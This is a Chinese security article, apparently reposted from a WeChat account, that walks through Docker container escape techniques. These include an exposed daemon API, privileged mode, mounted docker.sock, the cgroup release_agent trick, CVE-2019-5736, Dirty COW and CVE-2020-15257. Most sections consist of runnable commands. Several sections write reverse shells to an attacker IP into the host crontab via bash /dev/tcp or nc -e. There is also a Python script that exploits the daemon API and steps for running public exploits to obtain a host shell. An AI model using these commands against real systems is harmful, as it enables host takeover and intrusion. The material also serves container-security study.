一文讲清Docker逃逸

admin 2023年4月3日00:04:56评论25 views字数 4318阅读14分23秒阅读模式

一文讲清Docker逃逸

免责声明
由于传播、利用本公众号听风安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号听风安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

公众号现在只对常读和星标的公众号才展示大图推送,

建议大家把听风安全设为星标,否则可能就看不到啦!

----------------------------------------------------------------------

Docker

一文讲清Docker逃逸

docker是一个用Go语言实现的开源项目,可以方便地创建和使用容器,docker将程序以及程序所有的依赖都打包到docker container,这样程序可以在任何环境都会有一致的表现,这里程序运行的依赖也就是容器就好比集装箱,容器所处的操作系统环境就好比货船或港口,程序的表现只和集装箱有关系(容器),和集装箱放在哪个货船或者哪个港口(操作系统)没有关系。不会再有“在我的环境上可以运行”,真正实现“build once, run everywhere”。
Docker的安全性

讨论Docker的安全性主要在以下几个方面进行讨论:

  • Docker容器是否会危害到宿主机或其他容器;
  • 镜像的安全性用户如何确保下载下来的镜像是可信的、未被篡改过的;
  • Docker daemon的安全性如何确保发送给daemon的命令是由可信用户发起的。
Docker之所以会出现安全性问题,根源在于容器和宿主机共用内核,因此受攻击面特别大;另外,如果容器里的应用导致Linux内核崩溃,整个系统也会随之崩溃。这一点与虚拟机是不同的,虚拟机与宿主机的接口非常有限,而且虚拟机崩溃一般不会导致宿主机崩溃。
在共用内核的前提下,容器主要通过内核的Cgroup和Namespace这两大特性来达到容器隔离和资源限制的目的。目前Cgroup对系统资源的限制比较完善,但Namespace的隔离还是不够完善,只有PID、mount、network、UTS、IPC和user这几种手段。而对于未隔离的内核资源,容器访问时也会存在影响到宿主机及其他容器的风险。比如,procfs里的很多接口都未隔离,通过procfs可以查询到整个系统的信息,包括系统的CPU、内存等资源信息,所以Docker容器的procfs是以只读方式挂载的,否则修改procfs里的内核参数将会影响甚至破坏宿主机。内核syslog也是没有被隔离的,因此在容器内可以看到容器外其他进程产生的内核syslog。
因此,Namespace的隔离非但是不完善的,甚至是不可能完善的。这是共用内核导致的固有缺陷,并且未来Linux内核社区也不会对此做太多的改进。
在众多风险中,如果从虚拟机容器权限中逃逸出来,获取了宿主机权限,则为“虚拟机逃逸”,今天在这里做详细介绍。
轻功护身,随意逃逸~

一文讲清Docker逃逸

如何确认是在docker容器中?

方法一:检查根目录下是否存在.dockerenv文件

如果根目录下存在.dockerenv文件,说明是在docker容器中。

ls -al /

一文讲清Docker逃逸

方法二:检查 /proc/1/cgroup 是否存在含有docker字符串

查询系统进程的cgroup信息,存在docker字段则是在docker容器中。

cat /proc/1/cgroup
一文讲清Docker逃逸

Docker逃逸

1、docker daemon api未授权访问

漏洞原理

在使用docker集群管理工具的时候,节点上会开放一个TCP端口2375,绑定在0.0.0.0上,如果我们使用HTTP的方式访问会返回404

利用思路

通过挂载宿主机的目录,写定时任务获取shell,从而逃逸。

影响版本

Docker <= 18.09.9

关键步骤

1、环境模拟:创建容器,进入容器

docker -H xx.xx.xx.xx:2375 run -it --privileged alpine /bin/sh

2、查看本地磁盘

fdisk -l

一文讲清Docker逃逸

3、创建测试目录,并将本地磁盘挂载在test目录下

mkdir testmount /dev/vda1 /test

4、创建计划任务:

编辑 /var/spool/cron/crontabs/root
添加计划任务

 * * * * bash -i >& /dev/tcp/【攻击机器ip】/6666 0>&1

一文讲清Docker逃逸

反弹shell成功:

一文讲清Docker逃逸

Exp 脚本:

import docker  client = docker.DockerClient(base_url='http://xx.xx.xx.xx:2375')data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 目标ip 1234 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})print(data)

2、privileged 特权模式启动容器

特权模式与非特权模式的区别

区别一:Linux Capabilities

  • 普通模式下容器内进程只可以使用有限的一些 Linux Capabilities
  • 特权模式下的容器内进程可以使用所有的 linux capabilities

区别二:Linux敏感目录

普通模式下,部分内核模块路径比如 /proc 下的一些目录需要阻止写入、有些又需要允许读写, 这些文件目录将会以 tmpfs 文件系统的方式挂载到容器中,以实现目录 mask 的需求

特权模式下,这些目录将不再以 tmpfs 文件系统的方式挂载

Tmpfs说明:https://blog.51cto.com/u_11495268/2424414

区别三:内核文件的可读写性

普通模式下,部分内核文件系统(sysfs、procfs)会被以只读的方式挂载到容器中,以阻止容器内进程随意修改系统内核

特权模式下,内核文件系统将不再以只读的方式被挂载

区别四:AppArmor与Seccomp

AppArmor:https://www.cnblogs.com/zlhff/p/5464862.htmlSeccomp:https://en.wikipedia.org/wiki/Seccomp

普通模式下,可以通过配置 AppArmor 或 Seccomp 相关安全选项 (如果未配置的话,容器引擎默认也会启用一些对应的默认配置) 对容器进行加固

特权模式下,这些 AppArmor 或 Seccomp 相关配置将不再生效

区别五:cgroup读写

默认模式下,只能以只读模式操作 cgroup

特权模式下,将可以对 cgroup 进行读写操作

区别六:/dev

普通模式下,容器内 /dev 目录下看不到节点 /dev 目录下特有的 devices

特权模式下,容器内的 /dev 目录会包含这些来自节点 /dev 目录下的那些内容

区别七:SELinux

特权模式下,SELinux 相关的安全加固配置将被禁用。

普通模式下也可以通过对应的安全选项来禁用 SELinux 特性

漏洞原理

特权模式逃逸是一种最简单有效的逃逸方法,使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,可直接通过chroot切换根目录、写ssh公钥和crontab计划任何等逃逸到宿主机。

关键步骤

1、环境搭建:

拉取一个镜像,在启用时使用--privileged。

docker pull ubuntu:16.04docker run -itd --privileged ubuntu:16.04 /bin/bash

一文讲清Docker逃逸

2、漏洞验证

判断是否是特权模式启动,如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff。

cat /proc/self/status |grep Cap

一文讲清Docker逃逸

3、漏洞利用

在docker容器中查看系统磁盘分区情况,在新建一个目录,将宿主机所在磁盘挂载到新建的目录中。

Plain Textfdisk -lmkdir /hackermount /dev/sda5 /hacker

一文讲清Docker逃逸

进入到hacker目录,通过touch创建一个sh文件,再将bash反弹命令写入到创建的sh文件里面,在编写计划任务到/hacker/etc/crontab文件中。

touch /hacker/hacker.shecho "bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1" >/hacker/hacker.shecho "* * * * * root bash /hacker.sh" >> /hacker/etc/crontab

返回到kali中进行查看,已成功接收到shell。

一文讲清Docker逃逸

3.挂载docker.sock

什么是docker.sock

一文讲清Docker逃逸

docker.sock 是docker client 和docker daemon 在localhost进行通信的socket文件

Docker 守护进程可以通过三种不同类型的 Socket 监听 Docker Engine API 请求:unix, tcp, and fd。默认情况下,在 /var/run/docker.sock 中创建一个 unix 域套接字(或 IPC 套接字)

环境搭建

创建docker

docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04

一文讲清Docker逃逸

随后在docker容器中安装docker:

# ubuntu 18.04安装dockerapt-get update# 安装依赖包apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common# 添加 Docker 的官方 GPG 密钥curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -# 验证您现在是否拥有带有指纹的密钥apt-key fingerprint 0EBFCD88# 设置稳定版仓库add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"# 更新apt-get update# 安装最新的Docker-ce  apt-get install docker-ce# 启动systemctl enable dockersystemctl start docker

用docker ps就可以看到宿主机上的容器

关键步骤

将宿主机的根目录挂载到容器

docker run -it -v /:/uzju ubuntu:18.04 /bin/bash  chroot uzju

一文讲清Docker逃逸

docker容器反弹shell通过修改crontab即可实现:

crontab -e  * * * * * /bin/bash -i >& /dev/tcp/xx.xx.xx.xx/port号 >&

一文讲清Docker逃逸

4、挂载宿主机根目录

如果在docker启动的时候挂载了宿主机的根目录,就可以通过chroot获取宿主机的权限

docker run -it -v /:/uzju/ ubuntu:18.04 chroot /uzju/

一文讲清Docker逃逸

反弹shell可以通过crontab反弹shell

* * * * * /bin/bash -i >& /dev/tcp/xx.xx.xx.xx/port号 >&

5、Cgroup执行宿主机系统命令

通过notify_on_release实现容器逃逸 条件

以root用户身份在容器内运行

使用SYS_ADMINLinux功能运行

缺少AppArmor配置文件,否则将允许mountsyscall

cgroup v1虚拟文件系统必须以读写方式安装在容器内

docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:18.04

挂载宿主机cgroup,自定义一个cgroup,/tmp/cgrp/x

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

设置/tmp/cgrp/x的cgroup的notify_no_release和release_agent
设置/tmp/cgrp/x的notify_no_release属性设置为1,通过sed匹配出/etc/mtab中perdir=的路径,然后将路径+cmd写入/tmp/cgrp/release_agent

echo 1 > /tmp/cgrp/x/notify_on_releasehost_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`echo "$host_path/cmd" > /tmp/cgrp/release_agent

写入自定义命令

echo '#!/bin/sh' > /cmd

结果在当前目录的output文件中

echo "ps aux > $host_path/output" >> /cmdchmod a+x /cmd

执行完sh -c之后,sh进程自动退出,cgroup /tmp/cgrp/x里不再包含任何任务,/tmp/cgrp/release_agent文件里的shell将被操作系统内核执行,达到了容器逃逸的效果

sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"

6、(CVE-2019-5736)docker runc容器逃逸漏洞

docker runc容器逃逸漏洞(CVE-2019-5736)发生在runc模块(也叫容器运行时)。

Docker、containerd或者其他基于runc的容器运行时存在安全漏洞,攻击者可以通过特定的容器镜像或者exec操作,来获取到宿主机的runc执行时的文件句柄,并修改掉runc的二进制文件,从而可以在宿主机上以root身份执行命令

影响版本

docker version <=18.09.2 RunC version <=1.0-rc6

下载环境:

curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

漏洞利用

下载CVE-2019-5736编译go脚本生成攻击payload:

https://github.com/Frichetten/CVE-2019-5736-PoC

将go脚本中的命令修改为反弹shell(附件)

将此内容进行更改,设置nc监听地址。修改payload内容:

一文讲清Docker逃逸

此时编译payload需要go环境,直接安装即可,生成可执行脚本main

一文讲清Docker逃逸

编译完成后,我们运行一个漏洞环境(以CVE-2020-1957漏洞为例)

这里需要注意一下,安装完docker-ce之后,docker-compose是默认没有的,直接使用apt-get install docker-compose 或 pip install docker-compose命令可能会出现错误(尝试安装),解决方法就是下载一个docker-compose来进行安装,使用root权限执行如下命令:

curl -L https://get.daocloud.io/docker/compose/releases/download/v2.6.1/docker-compose-uname -s-uname -m > /usr/local/bin/docker-compose //下载docker-compose 版本为2.6.1 并添加到 /usr/local/bin目录下sudo chmod +x /usr/local/bin/docker-compose //赋予docker-compose执行权限docker-compose -v //查看版本

执行以下命令将生成的main脚本cp到docker容器中(这就是模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸)

docker cp /home/szg/CVE-2019-5736-PoC/main 3d5341ae0bf5:/home

执行如下命令,进入容器,查看脚本是否拷进容器并启动main脚本

docker exec -it 3d5341ae0bf5 /bin/sh (第一次需使用/bin/sh启动)

一文讲清Docker逃逸

ubuntu启动一个新终端,执行如下命令再次进入容器,触发payload,成功反弹shell,此时权限为服务器权限,docker逃逸成功

一文讲清Docker逃逸

7.(CVE-2016-5195)脏牛漏洞实现Docker逃逸

当宿主机存在Dirty Cow(CVE-2016-5195)漏洞时,利用该漏洞,可实现Docker容器逃逸,获得root权限的shell。

环境搭建

使用Ubuntu的14.04.5版本进行复现,该版本是存在脏牛漏洞的,执行下面命令之前需要安装好docker和docker-compose。

git clone https://github.com/gebl/dirtycow-docker-vdso.gitcd dirtycow-docker-vdso/sudo docker-compose run dirtycow /bin/bash

漏洞利用

在kali中开启监听后。

在docker镜像中进入到dirtycow-vdso目录,编译之后,并执行。

cd /dirtycow-vdsomake./0xdeadbeef 192.168.59.145:6666

此时成功docker逃逸

8.CVE-2020-15257逃逸

由于在host模式下,容器与host共享一套Network namespaces,此时containerd-shim API暴露给了用户,而且访问控制仅仅验证了连接进程的有效UID为0,但没有限制对抽象Unix域套接字的访问。所以当一个容器root权限,且容器的网络模式为--net=host的时候,通过ontainerd-shim API可以达成容器逃逸的目的。

9.1 影响版本

containerd < 1.4.3
containerd < 1.3.9

9.2 环境搭建

使用Ubuntu的16.04.7版本进行复现,通过下面命令安装指定版本docker。

apt-get updateapt-get install ca-certificates curl software-properties-commoncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"apt-get updateapt-cache madison docker-ceapt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

一文讲清Docker逃逸

拉取ubuntu:18.04镜像,使用--net=host启动,并进入到该容器内部。

docker pull ubuntu:18.04docker run -itd --net=host ubuntu:18.04 /bin/bashdocker exec -it 5be3ed60f152 /bin/bash

漏洞利用

进入到tmp目录,使用wget下载exp。

cd /tmpwget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz

下载完成之后进行解压。

tar -zxvf cdk_v0.1.6_release.tar.gz

在kali中使用nc进行监听,并执行exp。

./cdk_linux_amd64 run shim-pwn xx.xx.xx.xx 6666

回到kali中进行查看,已成功接收到shell。

· END ·
点击下方名片,关注我们
觉得内容不错,就点下在看
如果不想错过新的内容推送可以设为星标一文讲清Docker逃逸

原文始发于微信公众号(听风安全):一文讲清Docker逃逸

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月3日00:04:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一文讲清Docker逃逸https://cn-sec.com/archives/1647126.html

发表评论

匿名网友 填写信息